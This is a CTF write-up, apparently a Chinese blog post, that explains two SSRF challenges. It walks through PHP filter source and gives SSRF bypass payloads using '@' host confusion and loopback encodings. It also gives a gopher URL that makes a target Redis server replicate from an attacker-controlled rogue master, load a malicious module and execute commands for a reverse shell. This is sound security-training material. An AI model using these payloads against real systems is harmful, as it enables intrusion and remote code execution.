ssrf刷题——buu [第二章 web进阶]SSRF Training [网鼎杯 2020 玄武组]SSRFMe

[第二章 web进阶]SSRF Training

点击即可获得源码

php 复制代码
 <?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?> 

源码审计

get方式传参

是否存在url

url不为空就调用safe_request_url()函数

来看一下这个safe_request_url和check_inner_ip两个需要绕过的过滤函数

php 复制代码
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    //检查请求的url是否为正确的格式
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    //parse_url 是 PHP 的一个内置函数。
    它用于解析 URL,并返回一个关联数组,包含了 URL 的各个部分,
    比如协议、主机名、路径等。
    parse_url 函数可以帮助开发者在处理 URL 时更方便地提取其中的信息,例如在这段代码中,它被用来解析用户输入的 URL。
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip);
    //ip2long 是 PHP 中的一个内置函数,用于将 IPv4 地址转换为对应的长整型数字。

IPv4 地址由四个十进制数(每个数范围在 0 到 255 之间)组成,用点分十进制表示(例如:"192.168.1.1")。
ip2long 函数将这种点分十进制表示的 IPv4 地址转换为一个长整型数字,方便进行比较和处理。
这个长整型数字可以更有效地存储和比较,通常用于 IP 地址的操作和计算。
 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 
//这行代码是在检查给定的 IP 地址是否属于内部 IP 地址范围:

    ip2long('127.0.0.0'): 将 IPv4 地址 "127.0.0.0" 转换为长整型数字。
    >> 24: 对长整型数字进行右移 24 位,这相当于将 IP 地址的前 3 个字节移出,只留下第一个字节。
    == $int_ip >> 24: 比较经过右移操作的 "127.0.0.0" 的结果是否与输入的 IP 地址的前 3 个字节相同。如果相同,则说明该 IP 地址属于 "127.0.0.0/8" 的范围。

同样的逻辑被应用于其他内部 IP 地址范围:

    "10.0.0.0/8" 被右移 24 位后与输入 IP 地址的前 3 个字节进行比较。
    "172.16.0.0/12" 被右移 20 位后与输入 IP 地址的前 3 个字节进行比较。
    "192.168.0.0/16" 被右移 16 位后与输入 IP 地址的前 3 个字节进行比较。

如果给定的 IP 地址匹配了这些范围中的任何一个,则返回 true,否则返回 false。
 //综上所述,这里就是一个IP白名单,不允许我们输入类似127.*.*.*、10.*.*.*、172.16.*.*、192.168.*.*
php 复制代码
function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init();  //初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用
        curl_setopt($ch, CURLOPT_URL, $url); //访问的域名
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        //curl_setopt函数参数解释:https://www.cnblogs.com/lilyhomexl/p/6278921.html
        $output = curl_exec($ch); //执行一个cURL会话并且获取相关回复
        $result_info = curl_getinfo($ch); 
        //php curl请求在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        //if的作用就是如果没有获取到信息,就重复获取,重复执行safe_request_url函数
//最后把exec后的数据dump出来
//var_dump($output);之后就出函数了
//接下来将parse_url后的url赋值给$url_parse
//如果parse_url执行失败,则返回false
        var_dump($output); 
    } 
     
} 

绕过

我们最终的目的是要curl 127.0.0.1/flag然后得到dump出来的数据

那么该怎么绕过这两重检测呢

parse_url函数的绕过

PHP: parse_url - Manual

此函数返回一个关联数组,包含现有 URL 的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项。组成部分为:

  • scheme -- 如 http
  • host 域名
  • port 端口
  • pass
  • path   路径
  • query -- 在问号 ? 之后
  • fragment -- 在散列符号 # 之后

此函数并 不 意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
*  注: 此函数对相对路径的 URL 不起作用。*

demo

php 复制代码
<?php
$url = "http://www.baidu.com/suning?v=1&k=2#id"; 
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
?>

这是输出

但是如果我们输入http://[email protected]/suning?v=1&k=2#id

那么结果就会变成

host就会变成@后面的字符

这样我们的host就可控了

回到题目

如果我们输入'http://127.0.0.1:[email protected]/flag.php'

这样也无法正确绕过

因为curl_getinfo()函数也无法解析成127.0.0.1

在前面再加一个@

这样curl_getinfo()函数解析的是127.0.0.1:80

而parse_url函数解析的host是www.baidu.com

这样就成功绕过

payload:

http://c47efe80-3429-4c17-afa8-b11ed8e4fa8f.node5.buuoj.cn:81/challenge.php?url=http://@127.0.0.1:[email protected]/flag.php

[网鼎杯 2020 玄武组]SSRFMe

php 复制代码
 <?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

代码审计

和上一题的代码菀菀类卿

也是get方式传参

不对

是一模一样的过滤

试了一下

还是有点不一样

正则匹配不同 这里不仅支持http伪协议还支持https|gopher|dict

但是后面的匹配是正常的啊

看不懂

可能@被ban了?

不知道

还可以用0.0.0.0绕过

也可以用环回地址绕过

我自己试下来可以用的有

?url=http://0x7F000001/hint.php

?url=http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

?url=http://0.0.0.0/hint.php

------------------------------------------更新------------------------------------------

上面那个问题 大佬给出答案

然后我们终于来到第二步

php 复制代码
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

有点不懂下一步的思路是什么

看佬的wp

这里提示 redis pass

要用 redis主从复制来打

redis主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据时就会通过主从复制复制到其它从redis。

所以我们这题的思路是,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。

需要用到的工具

redis-rogue-server

redis-ssrf

这个ssrf-redis是用于生成gopher伪协议的脚本

我们根据我们的需要修改

这里主机改成我们自己的vps的ip地址

端口需要和rogue-server.py里的端口相同

command改成我们需要rce的命令

这里的passwd改成他提示的root

(注意这里默认打开的exp.so的路径是tmp 记得要不改脚本 要不就是把rogue-server.py和exp.sod都放在tmp)

rogue-server.py主要是创建了一个监听端口为 6666 的恶意 Redis 服务器。当有客户端连接并发送特定命令(如 PING、REPLCONF、PSYNC 或 SYNC)时,服务器会返回相应的响应,其中包括了一个恶意的 PAYLOAD

(要把rogue-server.py和exp.so放在同一个目录下)

先生成gopher伪协议脚本

因为还需要在url中传参,会解码一次,所以还需要url编码一次

启动rogue-server.py 成功执行

就成功反弹shell

然后分析一下这个gopher伪协议

gopher://0.0.0.0:6379/_*2 4 AUTH 4 root *3 7 SLAVEOF 14 '**********' 4 6666 \*4 6 CONFIG 3 SET 3 dir 5 /tmp/ \*4 6 config 3 set 10 dbfilename 6 exp.so \*3 6 MODULE 4 LOAD 11 /tmp/exp.so *2 11 system.exec 14 cat{IFS}/flag \*1 4 quit

总结一下

虽然跟着wp复现完了

但是对于redis主从攻击还是有点云里雾里

哪天要手动构造一下gopher脚本

自己复现一下这个漏洞

相关推荐
梓仁沐白1 小时前
Android清单文件
android
董可伦3 小时前
Dinky 安装部署并配置提交 Flink Yarn 任务
android·adb·flink
每次的天空4 小时前
Android学习总结之Glide自定义三级缓存(面试篇)
android·学习·glide
恋猫de小郭4 小时前
如何查看项目是否支持最新 Android 16K Page Size 一文汇总
android·开发语言·javascript·kotlin
flying robot6 小时前
小结:Android系统架构
android·系统架构
xiaogai_gai6 小时前
有效的聚水潭数据集成到MySQL案例
android·数据库·mysql
鹅鹅鹅呢7 小时前
mysql 登录报错:ERROR 1045(28000):Access denied for user ‘root‘@‘localhost‘ (using password Yes)
android·数据库·mysql
在人间负债^7 小时前
假装自己是个小白 ---- 重新认识MySQL
android·数据库·mysql
Unity官方开发者社区7 小时前
Android App View——团结引擎车机版实现安卓应用原生嵌入 3D 开发场景
android·3d·团结引擎1.5·团结引擎车机版
进击的CJR10 小时前
MySQL 8.0 OCP 英文题库解析(三)
android·mysql·开闭原则